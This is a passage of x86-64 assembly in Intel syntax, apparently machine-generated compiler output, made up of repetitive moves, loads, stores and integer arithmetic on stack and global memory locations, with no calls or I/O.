mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x97c8]
mov ecx, dword [rsp + 0x4f94]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9f48]
mov dword [rcx], eax
lea rax, [rsp + 0x74]
mov qword [0x1401e8a08], rax
lea rax, [rsp + 0x79]
mov qword [rsp + 0xa078], rax
movzx eax, word [rsp + 0x102c]
movzx ecx, word [0x1401e7030]
sub eax, ecx
mov word [rsp + 0x1060], ax
movsx eax, word [rsp + 0x1068]
movsx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov word [rsp + 0x1070], ax
movzx eax, word [rsp + 0x1030]
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
mov dword [rsp + 0x500c], eax
mov rax, qword [rsp + 0x92c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9960]
mov qword [rsp + 0xa080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa080]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9658]
mov qword [rcx], rax
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0xa088], rax
mov rax, qword [rsp + 0x9d28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa078]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e8792], al
movzx eax, word [rsp + 0x10d8]
movzx ecx, word [rsp + 0x1198]
or eax, ecx
mov word [rsp + 0x102c], ax
movsx eax, word [rsp + 0x1080]
movsx ecx, word [0x1401e707c]
xor eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x9de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x116c], ax
lea rax, [rsp + 0x4e34]
mov qword [rsp + 0xa090], rax
mov rax, qword [rsp + 0x99b0]
mov rcx, qword [rsp + 0x9c98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x9728]
mov rcx, qword [rsp + 0x8d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9130], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xa098], rax
movsx eax, byte [rsp + 0xd6]
movsx ecx, byte [rsp + 0xd1]
add eax, ecx
mov byte [0x1401e7052], al
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov byte [rsp + 0xad], al
lea rax, [0x1401e7025]
mov qword [rsp + 0xa0a0], rax
movsx eax, word [rsp + 0x104c]
movsx ecx, word [rsp + 0x10ec]
and eax, ecx
mov word [rsp + 0x1134], ax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x7e]
add eax, ecx
mov rcx, qword [rsp + 0x94c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9380]
mov rax, qword [rax]
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x9c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0xa0b0], rax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e88d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x105], al
mov rax, qword [0x1401e88a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e48]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10f8], ax
movsx eax, word [rsp + 0x11b8]
movsx ecx, word [rsp + 0x1080]
shl eax, cl
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
mov word [rsp + 0x1204], ax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a38]
sar rax, cl
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
lea rax, [rsp + 0x99b0]
mov qword [rsp + 0xa0b8], rax
mov rax, qword [rsp + 0xa0b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f20], eax
mov rax, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x9d50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f3c], eax
lea rax, [rsp + 0x11d4]
mov qword [rsp + 0xa0c0], rax
mov rax, qword [rsp + 0x9df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x101]
add eax, ecx
mov byte [0x1401e703a], al
movsx eax, word [0x1401e89a8]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1128], ax
lea rax, [rsp + 0x91]
mov qword [rsp + 0xa0c8], rax
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [0x1401e8797]
add eax, ecx
mov rcx, qword [rsp + 0x97f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x94a0]
mov rcx, qword [rsp + 0x9e38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f70], rax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0xa0d0], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x97e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9d18]
mov eax, dword [rax]
mov dword [rsp + 0x5010], eax
movsx eax, word [rsp + 0x11e0]
movsx ecx, word [rsp + 0x10e8]
and eax, ecx
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0x1174]
mov qword [0x1401e8a10], rax
movsx eax, byte [0x1401e704e]
movsx ecx, byte [rsp + 0xad]
add eax, ecx
mov byte [rsp + 0x98], al
lea rax, [rsp + 0x101c]
mov qword [rsp + 0xa0d8], rax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x1090]
sub eax, ecx
mov word [rsp + 0x10e8], ax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xa0e0], rax
mov rax, qword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x4f58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e1c], eax
mov rax, qword [rsp + 0x8ab0]
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0x9840]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9000]
mov qword [rsp + 0xa0f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa0f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ee0], eax
movsx eax, word [rsp + 0x10b8]
movsx ecx, word [rsp + 0x1050]
sar eax, cl
mov word [rsp + 0x1140], ax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [0x1401e704e]
or eax, ecx
mov rcx, qword [0x1401e87b8]
mov byte [rcx], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xa0f8], rax
movzx eax, word [rsp + 0x10ac]
movzx ecx, word [rsp + 0x1038]
xor eax, ecx
mov word [rsp + 0x1010], ax
lea rax, [rsp + 0xef]
mov qword [rsp + 0xa100], rax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x9a08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b20], rax
mov rax, qword [rsp + 0x98f8]
mov rcx, qword [rsp + 0x8ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x96b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0xa108], rax
mov rax, qword [rsp + 0x9dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e8793]
sub eax, ecx
mov byte [0x1401e7053], al
mov rax, qword [rsp + 0x9500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfc]
add eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x9d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1070]
sub eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
lea rax, [rsp + 0x10b0]
mov qword [rsp + 0xa110], rax
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x93e8]
mov qword [rsp + 0xa118], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x9e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ec0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f28], eax
mov rax, qword [rsp + 0x9f20]
mov eax, dword [rax]
mov dword [rsp + 0x5014], eax
mov rax, qword [rsp + 0x9a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9930]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e7056], al
movsx eax, byte [rsp + 0xc4]
movsx ecx, byte [rsp + 0xcc]
or eax, ecx
mov byte [rsp + 0x92], al
lea rax, [rsp + 0x1040]
mov qword [rsp + 0xa120], rax
mov rax, qword [0x1401e89d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ef0]
mov byte [rcx], al
lea rax, [rsp + 0x110c]
mov qword [rsp + 0xa128], rax
mov rax, qword [rsp + 0xa0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9d58]
mov qword [rsp + 0xa130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa130]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
lea rax, [rsp + 0x4e2c]
mov qword [rsp + 0xa138], rax
mov rax, qword [rsp + 0x9b58]
mov rcx, qword [rsp + 0x8fc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x90b8], rax
movsx eax, byte [rsp + 0x91]
movsx ecx, byte [rsp + 0xc4]
add eax, ecx
mov rcx, qword [0x1401e88a8]
mov byte [rcx], al
lea rax, [rsp + 0x1188]
mov qword [rsp + 0xa140], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x96], al
mov rax, qword [0x1401e87c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9718]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f28]
movzx eax, word [rax]
mov word [rsp + 0x1208], ax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x8e68]
mov rax, qword [rax]
mov qword [rsp + 0xa148], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5014], eax
mov rax, qword [rsp + 0x9c20]
mov ecx, dword [rsp + 0x4e4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8dd8]
movzx eax, word [rax]
mov word [0x1401e8a18], ax
lea rax, [rsp + 0xe6]
mov qword [rsp + 0xa150], rax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x86]
add eax, ecx
mov rcx, qword [rsp + 0x9f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov word [rsp + 0x120c], ax
mov rax, qword [rsp + 0x9548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9270]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9830]
mov byte [rcx], al
mov rax, qword [rsp + 0x95a8]
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0x9cd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f08]
shl eax, cl
mov rcx, qword [rsp + 0x9bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ec0]
mov ecx, dword [rsp + 0x5004]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0x91a8]
mov rax, qword [rax]
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e703f]
sar eax, cl
mov byte [0x1401e87e4], al
movsx eax, word [rsp + 0x1044]
movsx ecx, word [rsp + 0x1108]
or eax, ecx
mov word [rsp + 0x104c], ax
lea rax, [rsp + 0x106]
mov qword [rsp + 0xa168], rax
movzx eax, word [0x1401e7048]
movzx ecx, word [rsp + 0x112c]
sub eax, ecx
mov rcx, qword [rsp + 0x9160]
mov word [rcx], ax
movsx eax, word [rsp + 0x1120]
mov rcx, qword [rsp + 0x90e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov word [rcx], ax
lea rax, [rsp + 0x4f44]
mov qword [rsp + 0xa170], rax
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ee8], eax
lea rax, [rsp + 0x94e8]
mov qword [rsp + 0xa178], rax
mov rax, qword [rsp + 0x99d0]
mov rcx, qword [rsp + 0x9040]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c10], rax
lea rax, [0x1401e87e2]
mov qword [0x1401e8a20], rax
mov rax, qword [rsp + 0x9b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa2]
sub eax, ecx
mov byte [rsp + 0xf8], al
movzx eax, word [rsp + 0x1208]
mov word [rsp + 0x1210], ax
movsx eax, byte [rsp + 0xc3]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x9948]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f70], rax
lea rax, [rsp + 0x5014]
mov qword [rsp + 0xa180], rax
mov rax, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0x9ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa128]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8790], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xa188], rax
mov rax, qword [rsp + 0x9c40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1134]
sub eax, ecx
mov word [rsp + 0x11fc], ax
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0x107], al
movzx eax, byte [rsp + 0xf1]
movzx ecx, byte [rsp + 0x9e]
xor eax, ecx
mov rcx, qword [rsp + 0x9f08]
mov byte [rcx], al
mov eax, dword [rsp + 0x5014]
movzx ecx, al
mov eax, dword [rsp + 0x4cac]
shl eax, cl
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0x9268]
mov rax, qword [rax]
mov qword [rsp + 0xa190], rax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0x99e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9630], rax
lea rax, [rsp + 0x4eb4]
mov qword [rsp + 0xa198], rax
mov rax, qword [0x1401e88d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa068]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401e8810]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
and eax, ecx
mov rcx, qword [rsp + 0x9780]
mov byte [rcx], al
movzx eax, word [rsp + 0x1194]
movzx ecx, word [rsp + 0x11ec]
sub eax, ecx
mov rcx, qword [rsp + 0x98e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1028]
mov word [rsp + 0x1218], ax
mov rax, qword [rsp + 0x9bb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1118]
add eax, ecx
mov word [rsp + 0x106c], ax
mov eax, dword [rsp + 0x4efc]
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0x93e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b10], rax
mov rax, qword [rsp + 0x9fe0]
mov rcx, qword [rsp + 0x9e68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa020], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x501c], eax
mov rax, qword [0x1401e8950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10cc]
sub eax, ecx
mov word [rsp + 0x1034], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x9660]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7057], al
movzx eax, byte [rsp + 0x101]
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11bc]
add eax, ecx
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
lea rax, [rsp + 0x1154]
mov qword [rsp + 0xa1a0], rax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0x9118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0x9a70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96f0]
mov qword [rsp + 0xa1a8], rax
mov eax, dword [0x1401e7008]
movzx ecx, al
mov eax, dword [rsp + 0x4f84]
sar eax, cl
mov rcx, qword [rsp + 0x9e50]
mov dword [rcx], eax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xa1b0], rax
mov rax, qword [rsp + 0x9720]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
xor eax, ecx
mov byte [0x1401e705a], al
movsx eax, byte [rsp + 0xd1]
movsx ecx, byte [rsp + 0xac]
shl eax, cl
mov byte [rsp + 0xf2], al
movsx eax, word [rsp + 0x10f0]
movsx ecx, word [rsp + 0x10e4]
and eax, ecx
mov rcx, qword [rsp + 0x9090]
mov word [rcx], ax
lea rax, [rsp + 0x1138]
mov qword [rsp + 0xa1b8], rax
mov eax, dword [rsp + 0x501c]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
lea rax, [rsp + 0x4e48]
mov qword [rsp + 0xa1c0], rax
mov rax, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x9e68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f88], rax
lea rax, [rsp + 0x1070]
mov qword [rsp + 0xa1c8], rax
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x9480]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e89d0]
mov byte [rcx], al
mov rax, qword [0x1401e88d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
and eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x9560]
movzx eax, byte [rax]
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x9528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa0c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a88]
mov rcx, qword [rsp + 0x8ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9da0], rax
mov rax, qword [rsp + 0x8e40]
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0x8ec0]
mov ecx, dword [rsp + 0x4e00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fe4], eax
lea rax, [rsp + 0x4ea4]
mov qword [rsp + 0xa1d8], rax
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0xa168]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9070]
mov byte [rcx], al
lea rax, [rsp + 0x1178]
mov qword [0x1401e8a28], rax
mov rax, qword [rsp + 0x9d98]
movzx eax, byte [rax]
mov byte [rsp + 0x10a], al
movzx eax, word [rsp + 0x10c8]
movzx ecx, word [rsp + 0x1160]
or eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9528]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11b4], ax
lea rax, [0x1401e7094]
mov qword [rsp + 0xa1e0], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
cdq
mov ecx, 0x21b4
idiv ecx
mov rcx, qword [rsp + 0x94f8]
mov dword [rcx], eax
lea rax, [rsp + 0x9fc8]
mov qword [rsp + 0xa1e8], rax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0x9d00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e74]
shl eax, cl
mov rcx, qword [rsp + 0x9970]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0xdb]
and eax, ecx
mov rcx, qword [0x1401e8818]
mov byte [rcx], al
lea rax, [0x1401e8792]
mov qword [rsp + 0xa1f0], rax
movsx eax, word [rsp + 0x104c]
movsx ecx, word [rsp + 0x10e8]
add eax, ecx
mov word [rsp + 0x10e4], ax
lea rax, [rsp + 0x11b0]
mov qword [rsp + 0xa1f8], rax
movsx eax, word [0x1401e7080]
mov rcx, qword [rsp + 0x9740]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x9af0]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f70], rax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0xa200], rax
mov rax, qword [rsp + 0x9a18]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9128]
mov qword [rsp + 0xa208], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov rcx, qword [0x1401e8938]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11e8]
and eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9aa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0x10b], al
movsx eax, byte [rsp + 0xb6]
mov rcx, qword [rsp + 0xa068]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
mov rax, qword [rsp + 0x9dd8]
mov eax, dword [rax]
mov dword [rsp + 0x5020], eax
mov rax, qword [rsp + 0x94b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ee0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f28]
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xa010]
mov rcx, qword [rsp + 0x9c98]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9b98], rax
lea rax, [rsp + 0x7f]
mov qword [0x1401e8a30], rax
movzx eax, word [rsp + 0x11f8]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0xa210], rax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
or eax, ecx
mov word [rsp + 0x116c], ax
movzx eax, word [rsp + 0x11e8]
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x9760]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e40]
shl eax, cl
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x9ce0]
mov rcx, qword [rsp + 0xa010]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9230]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov dword [rsp + 0x5028], eax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xbf]
mov byte [0x1401e87e5], al
lea rax, [rsp + 0xfd]
mov qword [rsp + 0xa218], rax
mov rax, qword [rsp + 0x9d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11ec]
sub eax, ecx
mov rcx, qword [rsp + 0x91b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa1c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1124], ax
lea rax, [0x1401e7040]
mov qword [rsp + 0xa220], rax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0xa020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9368], rax
mov eax, dword [rsp + 0x4ee4]
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0x9f70]
mov rcx, qword [rsp + 0x93d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9f70]
mov dword [rcx], eax
lea rax, [rsp + 0xa160]
mov qword [rsp + 0xa228], rax
movzx eax, word [rsp + 0x11f0]
mov rcx, qword [rsp + 0x9a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e88f0], ax
movzx eax, byte [rsp + 0x84]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov byte [rsp + 0xab], al
movzx eax, byte [rsp + 0xde]
movzx ecx, byte [rsp + 0x10b]
sub eax, ecx
mov rcx, qword [rsp + 0x9370]
mov byte [rcx], al
lea rax, [rsp + 0x11b8]
mov qword [rsp + 0xa230], rax
movsx eax, byte [0x1401e7033]
mov rcx, qword [rsp + 0x9d28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xaf], al
lea rax, [rsp + 0x4e48]
mov qword [rsp + 0xa238], rax
mov rax, qword [rsp + 0x9e68]
mov rcx, qword [rsp + 0x92f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9058], rax
mov eax, dword [rsp + 0x4f64]
movzx ecx, al
mov eax, dword [rsp + 0x4e28]
shl eax, cl
mov rcx, qword [rsp + 0x9000]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9398]
mov qword [rsp + 0xa240], rax
movzx eax, word [rsp + 0x11d8]
movzx ecx, word [rsp + 0xff8]
or eax, ecx
mov word [0x1401e70b8], ax
movzx eax, word [rsp + 0x1098]
movzx ecx, word [rsp + 0x107c]
sub eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x9780]
